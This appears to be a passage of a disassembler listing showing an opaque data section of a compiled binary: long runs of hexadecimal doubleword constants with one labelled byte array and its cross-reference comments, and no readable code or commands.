		dd 81FB90EDh, 0C1CD06B3h, 38C45198h, 0B1C50005h, 0F0E52048h
		dd 3903D90Fh, 0D71D95F3h, 2A4CC0B9h, 68E42411h,	52F61F41h
		dd 92A440DAh, 63E75CD8h, 34CE6E16h, 40277004h, 78E33480h
		dd 688F00F0h, 0A0F224F6h, 7C0343D3h, 3A60A3DEh,	0C220EF54h
		dd 58DAFEh, 5E0CE5F7h, 0F84C6579h, 33824B09h, 0D73105CBh
		dd 0DF6BDA00h, 0BEC1ABh, 50664584h, 0A1954E96h,	7D2E5C12h
		dd 0B870C000h, 75C711D3h, 984100F6h, 58EC2F0h, 1200D72Fh
		dd 867B08DAh, 7D287E1Bh, 389468FDh, 0DB9D009Ch,	0CCE46474h
		dd 36E1A800h, 0F8457677h, 0DF5F2E8Ah, 0E32D01D3h, 6005F27Eh
		dd 0ED00DA74h, 0E2526718h, 5682CD6h, 5FB3731Ah,	0E0BCC7BAh
		dd 0CAF52F30h, 1D0FB5F6h, 81A7616Ah, 500E8C77h,	764A9F0h
		dd 223D12DBh, 0D2E4D221h, 60CFCCC1h, 560F72A6h,	163E26h
		dd 2FC0E1EAh, 0BD0200A9h, 928AE85Bh, 0D9005AEFh, 756B6CAEh
		dd 4A84106h, 44B171BEh,	1F50906Dh, 0B0099448h, 0F9042h
		dd 0F4713580h, 0A35D00DFh, 0DCB40CD1h, 8805C0D8h, 2E9E0F95h
		dd 27F3C280h, 0B610142h, 20F8FCB0h, 7D2AC42Ch, 638A2400h
		dd 15959DB5h, 0B80E01CCh, 276B1365h, 7B0C20E2h,	0F2E140E3h
		dd 0A630D3DAh, 520208F9h, 0F820C1D8h, 0F0A5B632h, 0D624F117h
		dd 0E680282Dh, 8510161Fh, 14DB30F0h, 8596208h, 96A53102h
		dd 61E3CDE9h, 25FF5139h, 0FC78B021h, 64BBF500h,	88DEC6FCh
		dd 0E3161E61h, 0F4583068h, 82604E7Ah, 0E8BE2F79h, 87B3059Ch
		dd 0C3FF18Dh, 7A20DE40h, 151EF917h, 0FE0C245Fh,	61F24967h
		dd 32D9D0E2h, 8BE730ACh, 0E88C680Fh, 7EE5A1C9h,	41F072FBh
		dd 96F00B2h, 4ABED512h,	7700B5C2h, 1EE41CACh, 79A6179h
		dd 5B810CA0h, 0D3836082h, 0D00B5D6h, 6F5313C1h,	79DB111h
		dd 0D0FF2B80h, 4B34A0AFh, 0F81D76EDh, 71C0B2B7h, 39E3A261h
		dd 530D003Dh, 0D82C8850h, 0C700A57Fh, 0E11DD75h, 0F29B973Ah
		dd 2D4300B8h, 518761B0h, 1A0077AFh, 93D010B2h, 1EFF72E9h
		dd 801B2F88h, 2767A3A5h, 6A0077F5h, 0D18119Fh, 5D07AEAh
		dd 0EB3AE28Fh, 0E0E98060h, 0BEE852CEh, 27FE642Ch, 53F36100h
		dd 49082C97h, 0E0044068h, 97EADD51h, 42048A0Ch,	64701FD8h
		dd 1D55E81Ch, 0EC1D3C0h, 0A22A54h, 9473B888h, 2D642C34h
		dd 0B300BD73h, 66FB43ACh, 8C8ADCh, 3B823503h, 84FFC922h
		dd 74CBDE00h, 4021A142h, 420FAE3h, 0F1A50C1Dh, 0BA26C009h
		dd 2D1DEFADh, 600C7CAh,	44E4477Ah, 54A1078Fh, 70AB35ECh
		dd 9C9102C1h, 0EF204A01h, 8BEDF898h, 0BAB72980h, 5604DC7Fh
		dd 903BBB00h, 0F64608D2h, 0EBF0391Bh, 2A982380h, 0E7D19C10h
		dd 51397A60h, 75CFDEh, 450F7052h, 816D18D8h, 79C98B00h
		dd 0EDA013DDh, 790BEC02h, 843958D2h, 0D3853D14h, 408A511Dh
		dd 459D5D33h, 0F207522Fh, 8C6249B0h, 1F8FFD60h,	0C6BF00BEh
		dd 0BD5B4289h, 0E40FAAB4h, 98FC1A24h, 0C0497CC8h, 0EC2CCDCCh
		dd 50008EB4h, 3F33435Fh, 3AB2BE4Fh, 181CF076h, 0E9EE4F53h
		dd 0BC04C052h, 43019575h, 48CAC02Bh, 0A9FCADE8h, 0C6B1003Ch
		dd 61EE02B5h, 0BE09FA4Bh, 873F14C1h, 73F08CB9h,	4E8178A3h
		dd 9F4C0748h, 0AF74205Dh, 0C807DD0Bh, 4B0C4AC4h, 7B89DF70h
		dd 0ED8E00F0h, 33D56E95h, 660041D0h, 0AE3956D1h, 7E0E74h
		dd 58E60CFFh, 0E1F9F48Fh, 0DFE8ED77h, 0FABBEF00h, 56BD5FCDh
		dd 21FB801h, 0B5C3A1F1h, 8880BACAh, 415FF414h, 687F7E00h
		dd 7BA49DCEh, 3EF801CCh, 0DE357031h, 59FA60F6h,	1E75AD13h
		dd 0FF49B504h, 0BB725880h, 8D6200B7h, 3FB2BDC2h, 612F576Dh
		dd 37C78EEh, 8B65ED84h,	14F08675h, 0D31C8E09h, 324E575Dh
		dd 0FD6E817Fh, 0E8EF2CDFh, 17DB189Ch, 0EC719ECh, 0BF803632h
		dd 6EF61131h, 170D9F07h, 87D1996Fh, 2CFCE118h, 9C95052Eh
		dd 0C0C6D6A7h, 0F4FAF2EAh, 88754900h, 48E24A73h, 0E089E44Bh
		dd 6C4C0FCEh, 0BD2A902Bh, 92D48EE4h, 40531D65h,	0D2FEE2D8h
		dd 50A456C0h, 362E9C00h, 841AE65Ah, 684D01D0h, 898F416Fh
		dd 131487ADh, 8A601BECh, 36C247h, 0D8B5DB38h, 0D70B7596h
		dd 0D500A97Dh, 6DEB74A8h, 0C0EAF088h, 76EA170h,	2C48C0DEh
		dd 712D10h, 0BF5CFC88h,	0B27F3FE6h, 0FA226A82h,	0F860CE34h
		dd 96074D02h, 210316B3h, 4E336ED0h, 0B6A30151h,	899D8B1Bh
		dd 2C6180C6h, 0C5D806AFh, 0D1D300E5h, 9B4716A6h, 46008907h
		dd 90BA32C6h, 0E52F50h,	24B63FF5h, 1BA7A66Dh, 64E1C300h
		dd 714B8183h, 0CED600D0h, 8BE24B5h, 3E008974h, 0AD62D140h
		dd 7FA35C9h, 0E4EE8448h, 8975A0DFh, 0B91C21CDh,	80FF70F1h
		dd 0F399833Fh, 0F78037h, 6E3C9C1Ah, 5206E947h, 9AF1A900h
		dd 0D21E9F7Fh, 56B00084h, 79596A09h, 2C036CF0h,	97FFAA92h
		dd 0C3AEF441h, 3EF3FD03h, 83A46EA0h, 543F7A00h,	521C31CCh
		dd 9A7896h, 5EC82140h, 42DB3E1Bh, 0AD00DAF0h, 0E1B92E8Dh
		dd 349CA46h, 9EB6ABEFh,	60FF96E9h, 1602EAA7h, 43A038h
		dd 0D20D2232h, 0A53692h, 0A9DBC2D1h, 0D3BB11B5h, 34CDF3Dh
		dd 0F4720EFAh, 0D069BB10h, 0F93A5Ch, 0EC26BF74h, 9D625009h
		dd 0DA94D900h, 1CEB39FDh, 0F3A10C24h, 0F748876Eh, 12865701h
		dd 10795471h, 33C6D0h, 8D257F75h, 0B65690DCh, 0F62D400Ch
		dd 0FEFC108Ch, 38DF0058h, 553EF1E9h, 730FD38Ah,	310E712h
		dd 0A8DC30B8h, 0CD2267h, 5339A7C7h, 0B3266CA3h,	9425ED00h
		dd 7DDF10DDh, 4C46393Ah, 3F16E280h, 819E1E1Dh, 0A8591100h
		dd 0E89AB5Dh, 563C0753h, 108FEC41h, 5AC4038Ah, 98172598h
		dd 0A716858Eh, 6B410C1Dh, 0C15F37D1h, 0FBCE4F4h, 0E0445919h
		dd 0E53E1241h, 75C9FC71h, 9974FF00h, 0F0E9AAC0h, 0C8D3C48h
		dd 3DB6A980h, 5305E427h, 23221C00h, 7301252Ah, 67C6009Ah
		dd 81A176B7h, 71007213h, 1C55929Bh, 0EB771Dh, 442531B5h
		dd 2FB13AC8h, 0B34A1200h, 0F832E937h, 0FAD807CCh, 70150D9Eh
		dd 83799F2Dh, 83E5DE3Fh, 0AAF1E480h, 21ABA073h,	65C53FCEh
		dd 87169200h, 19F42081h, 0CF1AFE00h, 1478287Ch,	38040071h
		dd 3DFFA93Bh, 832412A7h
		dd 3A0030E0h, 0D0BBE48Fh, 215B006Bh, 54DA17FAh,	80026E40h
		dd 504B660Fh, 0D6A2C0E6h, 2BA81FF3h, 77D980ABh,	314E5BD0h
		dd 5097CD00h, 7CE98BDCh, 0A573A87h, 9C866F80h, 0A3586A9Ah
		dd 1FCEAC00h, 704CFCD5h, 1FA59014h, 80661ACDh, 0FE139204h
		dd 3F000F0Ah, 204D61B4h, 2D7A16h, 92951C90h, 0E4CBEF82h
		dd 0B6CF8501h, 59B76A55h, 5430D4h, 0B9359CA2h, 3EDB89A9h
		dd 1F965600h, 0E75218Fh, 224A00D6h, 4564819Dh, 7E7BBD11h
		dd 992AE0Eh, 94958053h,	0E932F1h, 882E0C13h, 0B41023BCh
		dd 0AFEA9D2Ch, 7C46A000h, 7D0E1E16h, 7AAB07AFh,	9021203Dh
		dd 54893A9Dh, 9EAAE00h,	1A2E4043h, 616B3F2Ch, 780CFBCh
		dd 0E310F25Ch, 5300FF42h, 341ABF39h, 7035A0h, 2A8AA664h
		dd 142240F0h, 0C156F30Ah, 0DA00B4DFh, 339D68BFh, 23A73AADh
		dd 1AEC60E0h, 6E00F215h, 78B55ED8h, 0F765F80h, 0E6D9BB75h
		dd 936B89B8h, 0DAB73F03h, 73BE1A3Dh, 0C28E3108h, 0F0F2BD20h
		dd 0E400ADC6h, 0A117EE16h, 6EBBD4h, 59127EA7h, 0E61D22E0h
		dd 961F04FEh, 5480EA9Eh, 817F0EF7h, 379F0092h, 50E6E7B5h
		dd 8B77CE7Eh, 6BC5B48h,	6B4D6230h, 0E42D0798h, 10E5A9CAh
		dd 0E33D1639h, 4C0F061Fh, 0F2835803h, 3F9002EBh, 0AC252010h
		dd 0D03E7140h, 0C56E5003h, 0F008A00Ah, 9986FBh,	9AE248A5h
		dd 0B40C4182h, 0FCDFD0C0h, 1AD4D88h, 8BD2665Bh,	60E385F1h
		dd 652441B4h, 80001FFBh, 0FFD7A08Ah, 0CD3D00E6h, 562837A2h
		dd 0CE00C697h, 0A6F9E976h, 65790Ch, 0B15F43D0h,	0F6BDF3DAh
		dd 49FE6B03h, 0EF83F8CEh, 37389EC0h, 0AD8F039Ah, 5790EE11h
		dd 109F802h, 0AF08271Ch, 0B80414D4h, 11DA603Eh,	5DC74518h
		dd 0D77E19FAh, 0E446D300h, 7FD1A1B1h, 4E2C283Eh, 0D51E0C8Ch
		dd 83285969h, 205AF644h, 0B022D206h, 66822250h,	22F75F22h
		dd 3475513Ch, 407A9788h, 28A34B5Ah, 793E9D9Bh, 73C0F8h
		dd 8EA84C31h, 0E2943DD2h, 0B3017FFAh, 7C85DB08h, 58E8D005h
		dd 0D48B03B7h, 0D113C0E1h, 1CC10D88h, 5DEE5B00h, 0FB4F98BCh
		dd 667278h, 0E322D928h,	0E09B6A51h, 2A9F3F00h, 0A5768A5Dh
		dd 0E42B90CAh, 4EF507C1h, 0D05ABB24h, 7AFEC53h,	31C8AA00h
		dd 2B1657BEh, 7BD61891h, 55F7206Ch, 0C571F900h,	2203B252h
		dd 759B093Eh, 0F887BADBh, 2280D9A7h, 1F386347h,	2444F300h
		dd 390B0925h, 50310076h, 6C4B6D65h, 0DE2C9BE7h,	730B0493h
		dd 0E185FFD5h, 0F3D8872Ah, 95E0DBA1h, 3450322Ch, 40B2C6CCh
		dd 3F88A27Bh, 78BD6075h, 63176878h, 976B3Fh, 77F461Eh
		dd 0E16FEDh, 0D3DD3B8h,	8B68380Fh, 39C2250Eh, 0CE1C40C5h
		dd 33F582h, 503EF920h, 0BF372B7h, 9594B000h, 0B31842D0h
		dd 0EEFC2477h, 9CE91424h, 1124C780h, 0D1756103h, 0A6009D7Fh
		dd 23FCF6Dh, 0E2293B3h,	382F7B9Ah, 29123C63h, 67D390C7h
		dd 4E074202h, 8B0B4415h, 88551BC3h, 2E72DA2Ch, 0F13FD6h
		dd 0E2F959CEh, 220FD841h, 5F208Fh, 0BC1CF2C0h, 0E8F56037h
		dd 0BEE88253h, 653BAE16h, 880BA300h, 2C31AD48h,	1F06F87h
		dd 0B2227EB3h, 5C308094h, 6CB621E5h, 2F391370h,	0FA84066h
		dd 16249048h, 0A3ECC500h, 98BEFA8Bh, 842D0354h,	96E33915h
		dd 0FC3008E9h, 2B39D252h, 13EA00B4h, 3F2DD4E5h,	171100C5h
		dd 774833ADh, 28488401h, 367E00C4h, 1E67D42Fh, 7E07678h
		dd 0DC45CD3Bh, 92610F9Ch, 0F48212D9h, 0E6004FF9h, 8D736EFh
		dd 0F7372Ah, 0BFEA3E7h,	0AFD5198Ch, 0D1685A00h,	34F0C255h
		dd 5DAC3F65h, 0EC30BE00h, 534A9EFFh, 109349h, 10F0DB78h
		dd 3FE76E41h, 8E01AAA8h, 1A517C4Ah, 0D1FFE4E4h,	0D0718018h
		dd 1DD96750h, 0C387FA1Ch, 963922BAh, 3F9715D0h,	58F26E12h
		dd 43400Eh, 0C9896CA6h,	0B53B0519h, 53A586h, 0EDC2A3B0h
		dd 6800AD57h, 5E4FD5BFh, 15524CBh, 40FA43F5h, 0D08BD402h
		dd 13007881h, 0B6D8A92h, 1259AAh, 0ECC3D155h, 4539F328h
		dd 0D16F900h, 54945FBEh, 572500F2h, 0DEC2EF72h,	7A1DA05Ah
		dd 0D08FAD67h, 6B5CA077h, 0EE15F2h, 9E36F36Fh, 0EB39018Ah
		dd 4FD86000h, 32AB6DF9h, 6B0B008Dh, 18C231E2h, 27E297A0h
		dd 74209E0Fh, 0FD148421h, 5B713680h, 37FE12h, 0B402BA93h
		dd 0EE4BA116h, 0A819F307h, 891041F2h, 175AA501h, 13D8DE6h
		dd 8336E895h, 0D612CC2Eh, 0B701F2F2h, 0FE07DD14h, 7EE85CA7h
		dd 3322486h, 8E7A003Ah,	61C02853h, 1BDA990Fh, 7B4EE010h
		dd 0E4B6712h, 66900979h, 351D8360h, 930005CDh, 0D7C68BF4h
		dd 0BD393Ah, 56FFA572h,	0F1690A36h, 20A1670Eh, 4D3D203Bh
		dd 1EE11EAAh, 0D86F285Eh, 742D388Ch, 9AABDA1Fh,	90BEC080h
		dd 0DDB171h, 0C5BB9EEDh, 502AFAD7h, 1A5DE400h, 6C71CFBAh
		dd 0A2ECE9h, 223D565Ah,	7701BC32h, 0A4F77607h, 1300E35Dh
		dd 897D20h, 1B30DD96h, 242F5F69h, 56F6DE36h, 0C40FE7Eh
		dd 0D5E6ADD0h, 5A008638h, 0CBB9616h, 42B5DBh, 55E20FD3h
		dd 7E9528E9h, 989D4818h, 1F972B8h, 0E1F4393Fh, 8022761Fh
		dd 82C3E8B0h, 2868A133h, 3948BFEh, 29CC13C9h, 8840C467h
		dd 0A91641E8h, 5500CDBBh, 0AA55C74Dh, 0E8F1026Dh, 0C3FE2528h
		dd 0F8840440h, 70000AF2h, 0A595378Bh, 7F71CED1h, 3C6D015Eh
		dd 0CD5F08D0h, 0F7C0CB0Bh, 24035D32h, 0A94C6115h, 0C6E83913h
		dd 0AB1B5780h, 0B52AEDD6h, 8C691600h, 32DD772Eh, 4D5202E7h
		dd 4F33D2FBh, 88538180h, 0C37E95B9h, 0BCEDAA00h, 321EA27Fh
		dd 94ECA7h, 0DF592BF4h,	0AC76D846h, 1B24CD1Dh, 0ED640681h
		dd 0E0DF4DFBh, 3071F5Dh, 23165935h, 10005C8Dh, 0EAE4F17Dh
		dd 9F1DB9h, 30485729h, 0ADBE389Ch, 582F9800h, 0AA24B544h
		dd 0A3053A35h, 0CEF89380h, 0E56621B0h, 51459400h, 47D42511h
		dd 8CD0B761h, 9E26E01Fh, 0C6C5D280h, 1E0730h, 67DE483Eh
		dd 0ECE0161Ch, 9B20F500h, 35F2D754h, 5D40026h, 0A83DA496h
		dd 0D9005DD8h, 2CEA94B4h, 99C479Bh, 0BC038F93h,	50A39C00h
		dd 404C0712h, 45761ED9h, 80CD8C4Bh, 3ECCEF03h, 74490009h
		dd 0BB716A5Eh, 0EA072368h, 5DA7185Ch, 0D8D0AFB0h, 837D00FDh
		dd 24A6F2A2h, 0E100D17Fh, 604139D4h, 99FEAFh, 0E6704C27h
		dd 0CE16F257h, 0FB6EA00Ch, 9C3180Eh, 0E358AE3Ch, 6C1A0300h
		dd 767F3F9Bh, 4641B300h, 152044FAh, 66081D05h, 385ED8BDh
		dd 62DDA02Ch, 339E9440h, 0EDAF121h, 999AF2D6h, 23428580h
		dd 24006114h, 0FB3F89BAh, 0D35A43h, 869B567Ch, 70A3B78Dh
		dd 0ABA50200h, 0A028420Ch, 22709F8Ah, 459CD21Ch, 0D791CB83h
		dd 0BFE1C702h, 887DB6Ch, 0B077A264h, 0AB9CF2C9h, 78AE9325h
		dd 0E86D3F1Bh, 54848A00h, 2AC0EED1h, 68B24107h,	0FC80C497h
		dd 0E062E0CBh, 3CA6006Ah, 2A98703Eh, 0BB169D28h, 8E00F076h
		dd 392B4B82h, 34A21C48h, 808E873Ah, 1E330016h, 300C162h
		dd 0CC324AE9h, 0A9BBB7h, 6ED76657h, 9A540E69h, 61E00B00h
		dd 0C38FBE9Bh, 84CE0058h, 64ADB8E5h, 0DE26D385h, 36007DA0h
		dd 0F8FC56B2h, 0CF72007Dh, 0AE0A34BCh, 2600409Fh, 0B7BB6766h
		dd 0C2D24Bh, 36D197CBh,	0E6D8F047h, 19692E00h, 0C6DB0224h
		dd 57E10388h, 0FD078AFEh, 13DDA1C0h, 2F1B6A00h,	313E0602h
		dd 25B4A0A7h, 3D4A28F5h, 9A9B008Ch, 0DD7015DFh,	7D00C308h
		dd 0FFC28BACh, 80AA73h,	0B4406B3Fh, 847B291h, 16E53A00h
		dd 0ADB618DDh, 0BC1A00CAh
		dd 68E3F151h, 0B707F8DCh, 0C59CE84Eh, 5F54FA00h, 0B8881C20h
		dd 0E428D2h, 0E647CCB2h, 272CCDCAh, 4520A600h, 0A7E9E67h
		dd 6F0D005Ch, 8BADF3DCh, 867E2B02h, 227FC600h, 0D9D2CC64h
		dd 1A3400C1h, 0C0DFF321h, 8C074D91h, 1085CDA5h,	4F5E29B0h
		dd 60D303EAh, 68D5E215h, 800FF7A1h, 2175AEA8h, 3929CB1Ch
		dd 50F3189h, 0CF40BA16h, 9E18F432h, 0D0FE423Ch,	5F0003E8h
		dd 0B37AF98Fh, 50C6E311h, 0FD88A0A5h, 0F4C45424h, 46D8C094h
		dd 639AE49Eh, 0FA4DBC00h, 49CCBFA4h, 0D71F003Ch, 0A2AC94E3h
		dd 51F88FB2h, 0F2FCB50Fh, 8B415FB3h, 98207922h,	4882D0h
		dd 7E5CD8B9h, 0FEEB16CEh, 0C0004390h, 0BF71DE0h, 6EC1A1Ch
		dd 0A66B12F3h, 0CB0090B0h, 0A15925D2h, 10DBAh, 9EB3C9F6h
		dd 0A9159B54h, 603E9100h, 642C20E7h, 23DE2EC0h,	0FEAC0099h
		dd 5E4D040Ch, 6D0203FAh, 711D7C44h, 0AF75E032h,	12867A5Fh
		dd 208F2905h, 83AD8140h, 2482E700h, 0EDE03D2Fh,	93C60649h
		dd 0E0B00740h, 50CF5D0Eh, 0D667E095h, 7FE6CEFh,	0A10959E9h
		dd 5DEAD0A4h, 0DE008B15h, 1FDB4AFFh, 1492118h, 0BDE10456h
		dd 42A6F97Dh, 0D1611CACh, 8476D464h, 0D3384E00h, 150BF040h
		dd 0FA6A0051h, 687B8DFFh, 0B80089C5h, 0E7276611h, 344D774h
		dd 6E54DD97h, 858C438Fh, 8DEA8078h, 0A0184072h,	0A8AEF814h
		dd 614C0032h, 0F9924DAEh, 0F6018C8Dh, 724B5857h, 0E0C4DFBFh
		dd 0A30D00B1h, 0F34C0A53h, 2760D941h, 0C5A1AAB2h, 0ACD9EB9Bh
		dd 0B0DEC841h, 303A020h, 0A1B668C7h, 93B2CF65h,	39AC9480h
		dd 141FF22Ah, 0BD0030EDh, 9D03CA0Ch, 6448C458h,	3F405C55h
		dd 0D1128229h, 0A1A00F2Fh, 0FD00F42Eh, 0D4F10691h, 8B50E8FAh
		dd 9407EA94h, 9931BE2Dh, 2BBF01A0h, 0AF840074h,	0AD1B780Bh
		dd 671EE36Dh, 8D408940h, 0FB47D246h, 0CF795Bh, 31AA5DC3h
		dd 7C41FD4Fh, 0B80AB300h, 599B7F77h, 4591C14Dh,	0C4027A56h
		dd 956017E7h, 25232878h, 93ED185Fh, 0C2A0E090h,	80DE223Ah
		dd 57F02E9Bh, 5473F9h, 5E87E562h, 0B0FBE697h, 500BA70h
		dd 0F2894CEFh, 1457AF20h, 0D4110716h, 0C48F330Eh, 7F6FFBA0h
		dd 613A2B1Eh, 2E3980DCh, 72A7AA76h, 51FE3CE8h, 57BB1Dh
		dd 5204D7EDh, 4E72BA4Fh, 5CF66638h, 2780155h, 0F4AB3DBBh
		dd 712C420h, 9B0B201Bh,	602F67A9h, 0AF497396h, 0D141D700h
		dd 0DF938E94h, 0F6C40056h, 96DD0164h, 0D3006344h
		db 38h
byte_520045	db 0F7h, 73h, 0A1h	; DATA XREF: ___:00438120o
					; ___:00438138o
		dd 3CBD4202h, 0D78FFF8Ah, 41000B74h, 98B16884h,	47648B00h
		dd 206BAA22h, 1F8CA0E8h, 0E12E05BAh, 805B8026h,	5FF93C58h
		dd 30C4AD00h, 5678BFCCh, 2F020016h, 17721088h, 81E45543h
		dd 0A4B89700h, 0B74694FDh, 0DF400EBh, 403139B2h, 0B4009DE0h
		dd 573C4186h, 0B28419DAh, 8D0502A8h, 2774AC22h,	1B6E9880h
		dd 0FF03B653h, 30553DA9h, 91088881h, 8B180A2Bh,	0C96D4C8h
		dd 95303C99h, 6D4E2D1Dh, 0F5103398h, 0C4EC0022h, 5F34C6A5h
		dd 35002A6Bh, 0ADC00297h, 6301E0h, 6FF261D1h, 0B946AEAh
		dd 377CA3Ch, 84E6B5C8h,	686190C0h, 651A00E0h, 1B6027B9h
		dd 2405F52Ch, 7253EC85h, 0A62A83h, 86FB7C0h, 6A4F92DDh
		dd 1B17C5Ch, 0FB33AB8h,	0ADCBCA9h, 175300F4h, 8D6CFFAEh
		dd 3008A7Fh, 23BFB3D0h,	0B05F1A73h, 71F90248h, 0A40D5AA1h
		dd 3A636C60h, 8002C939h, 0C5268385h, 8C07C7h, 674E9C90h
		dd 0C623E41Ah, 0A33DEE01h, 71F575EFh, 9D018433h, 3BE587C7h
		dd 0F826F87Eh, 610DBE0Ah, 6B019428h, 7C13EE24h,	0B048ACh
		dd 0B2CB277Dh, 0A04ED2Ah, 0D1E05A99h, 8ED4B8C1h, 167420h
		dd 9D46BDADh, 0FF10EA3Fh, 0CDE295E2h, 848C800h,	0AFAA2A8Bh
		dd 0EC1B002Ch, 0F426A12Fh, 7C00AC65h, 5D1206A3h, 0A76784h
		dd 0A2B0B346h, 0BD7391C7h, 0F4E89500h, 0D55965F5h, 0B6C839D3h
		dd 7078A4h, 0C0A927E7h,	340E1C62h, 203230ADh, 64360951h
		dd 0AC61001Bh, 0E50AF104h, 0B400999Dh, 0B25D9CA1h, 91F90Ch
		dd 5905D487h, 40A5FE1Ch, 50D07400h, 0C6A4394Fh,	0F7C000E9h
		dd 88BBFD52h, 0D1498406h, 6B810120h, 0E0C1E479h, 0F4C2F0h
		dd 958AFB2Ch, 0B4838742h, 5E63187Ch, 0FD027E68h, 1C36408Ch
		dd 0FEF38A8Ch, 910401BDh, 0C0BBDFA6h, 0E49A87E5h, 0F1D8D601h
		dd 85ED7FC7h, 0A0921887h, 810A1039h, 1109278Ch,	88A93A6Dh
		dd 2C00C410h, 32DBB8C9h, 4E8300C8h, 47611026h, 0D05817D8h
		dd 151302C0h, 60FFBE6Fh, 3CA314h, 0CC5F98CBh, 40E69C61h
		dd 63ACDA00h, 0E7C0B2AAh, 0F81605B9h, 87753A4Ah, 0FA09E036h
		dd 0CF03D07Ah, 0E739C83Fh, 454000A1h, 653181FDh, 0B500F61Fh
		dd 37555372h, 1E9076h, 5836FEE7h, 0EF402BCEh, 51BEAF02h
		dd 0E00A2D75h, 1F06A5Ch, 191B2E29h, 3074F223h, 0DD00C744h
		dd 32FBF395h, 20EB6C6h,	5854641Bh, 2E40FE0Ah, 83131E41h
		dd 0EF12AA6Dh, 9E40B81Ch, 0BE8A13FBh, 85F200E2h, 0C8E9BB43h
		dd 6D0041DCh, 0EEED612Fh, 39F7E77h, 7194C58Ch, 2ED086F5h
		dd 84007D8Bh, 0B363FF79h, 919E7DAh, 2C67DD88h, 522380A0h
		dd 56001360h, 81460503h, 43521E2h, 1B0F2CF1h, 97188012h
		dd 0C7B06EA6h, 7F641501h, 3F705D45h, 0A29D20h, 9246C3B0h
		dd 0F78A25B1h, 78F03200h, 567F626h, 0E00602D1h,	0D01BF38h
		dd 30EC8487h, 1032EF90h, 0F413A53Dh, 90B49737h,	3EE07BE7h
		dd 1C5A020h, 24140579h,	60184FE2h, 12732D4Ch, 37C85000h
		dd 0F77173F0h, 111B0222h, 2F807F13h, 893AD6C0h,	6309B700h
		dd 0E87DDB10h, 27F4CCh,	0DC12D7B9h, 76D1DDDFh, 1E5654Ch
		dd 9B3C5121h, 0F2C4BDE9h, 4CC0C060h, 42C69046h,	0B88E20F3h
		dd 28B26A0Fh, 2EB5C051h, 72797D9h, 0C6365EECh, 1C4EC064h
		dd 3B7CAB79h, 0E7987000h, 2E285F08h, 560913BCh,	41A00024h
		dd 17A1D1DBh, 5A3EE700h, 78072212h, 5C394C30h, 5D5B5500h
		dd 96819F82h, 0E6A85900h, 7FCDC688h, 6A99006Eh,	8F794EA6h
		dd 0ED502490h, 2D4809BBh, 3F21C04h, 608C664Fh, 0A521DDFBh
		dd 1CF424EEh, 304AE94h,	86D54F8Eh, 6BCFF688h, 3ED3A01h
		dd 7ACC42DDh, 573A834h,	0EF833001h, 66FF80B7h, 0B8005D56h
		dd 3A9D478h, 0B0C0734Ah, 9E1201EBh, 87DA24EAh, 0DEE4305Bh
		dd 1A00E2F8h, 0A6A4CD57h, 0FAA97990h, 2744006Bh, 0B85AF4DDh
		dd 9B0039FCh, 22209960h, 1EB2AF36h, 805FAD1Ch, 0F2D68FC5h
		dd 9203F176h, 0B54B570Ch, 0AC68D0F8h, 973A03A8h, 0B7565B94h
		dd 0F34962F0h, 5C528D1Ch, 3915E380h, 9CB24203h,	772F0260h
		dd 1E41E88Fh, 0EFA42099h, 3EF0DA1Fh, 0A0AA7BCEh, 8E6201D5h
		dd 0DFEB00BAh, 1492313Ch, 0BC01E5C8h, 67B75A84h, 6B70F9AFh
		dd 0EE340576h, 43DF4690h, 0C9527BE8h, 990770A6h, 0A18D44AEh
		dd 0B87E3E10h, 37290006h, 8F39EC77h, 587441AFh,	0B2030A78h
		dd 0ABA8966Ah, 0A003A342h, 0C3D2AF6Dh, 3ACF1021h, 944840F7h
		dd 6C0EEC37h, 821C3DB0h, 405F5ABCh, 0F8BF6310h,	0C117FE15h
		dd 2B93C028h, 3803D398h, 0CFB44C1Dh, 2614A399h,	9CD121h
		dd 0F632B784h, 0B9011E75h, 8C93B850h, 7FC48A9Dh, 1F6300CAh
		dd 0F63D826Ch, 0AC63D3CEh, 0F6496589h, 1FD1F048h, 0EDC4CC9h
		dd 0CEE54B28h, 9D1400D9h, 0BF6BD3C4h, 53A92F00h, 9F4DCDB5h
		dd 24E106B2h, 0C00B75ACh, 4857AB00h, 6320AF34h,	731C39FBh
		dd 0EC4DB10Fh, 7CDFB220h, 0EA00995Ch, 0C22474A0h, 0F89136B0h
		dd 8D93016Ah, 0F3AEA2A8h, 8068CC43h, 7203E375h,	0A53373B8h
		dd 0A897E0F4h, 5DA407E2h, 0E0D68268h, 962192ADh, 55CCFF00h
		dd 9C2B2EAEh, 0D84F6086h, 0E46D073Eh, 2500C9DEh, 0CC66B7BBh
		dd 0A9320097h, 4B69EE5Bh, 0F2076BE8h, 9458F949h, 0F545ACD0h
		dd 0FC521D91h, 111041FDh, 30463968h, 0B4F94DE5h, 47E5861h
		dd 0EE783D0Ch, 96001810h, 0BAAC635h, 0A646C4h, 0C3A7B7F5h
		dd 743D521Ah, 6F654703h, 512B0118h, 2988C829h, 5890C9ECh
		dd 443AB284h, 5E44485Ch, 3BA15EAFh, 96889F2h, 22297F46h
		dd 252244C0h, 0DE54441Dh, 5DD4A000h, 59C8448Bh,	0EC667C9Fh
		dd 87073A3Dh, 7E245E80h, 9CE9F9DEh, 9FA3AC00h, 3E030CB3h
		dd 0E36C24DBh, 32C1000Bh, 4E1A117Fh, 70CB0802h,	60FE8315h
		dd 774E006h, 3E6FAB69h,	999F063h, 9100D75Bh, 0AAB3FAE4h
		dd 0E433FD43h, 0B09DE667h, 1E2F0066h, 0E9A2B103h, 25006B51h
		dd 0BE44F37Fh, 0E8A9750h, 2F08B88Bh, 3AD2C840h,	0BD0EE321h
		dd 20E7C168h, 477C3685h, 24674CDh, 122E2642h, 45E0672Ch
		dd 0A00AD0Fh, 0DEFAA935h, 3A39F0h, 0BE02D34Bh, 4736B8D5h
		dd 9BA30614h, 930F00F0h, 0B73AAAE4h, 0C8B60518h, 80177656h
		dd 8FE9D8F3h, 0AC4F1524h, 5CACA700h, 7583E1FCh,	0EC8E0BBCh
		dd 0FD073C1Ch, 41CCB07Eh, 58281D4Bh, 0D30090DEh, 0CB8C798Eh
		dd 0AA7F5Ah, 0F4E2CC9h,	3A3E2ECAh, 0EBDE8A00h, 89EEF238h
		dd 3D8800F7h, 0B7643F77h, 0E8009660h, 33131B52h, 1C80071Ah
		dd 0BB44B8C7h, 489C5000h, 572BD6C6h, 434D2F00h,	9FF9AE8Fh
		dd 0C1FCE909h, 6A4B001Fh, 3BE278B6h, 0F5F450B8h, 70246700h
		dd 6205A19Eh, 64AC0080h, 0F32D6C84h, 7298B7FDh,	0C9D45500h
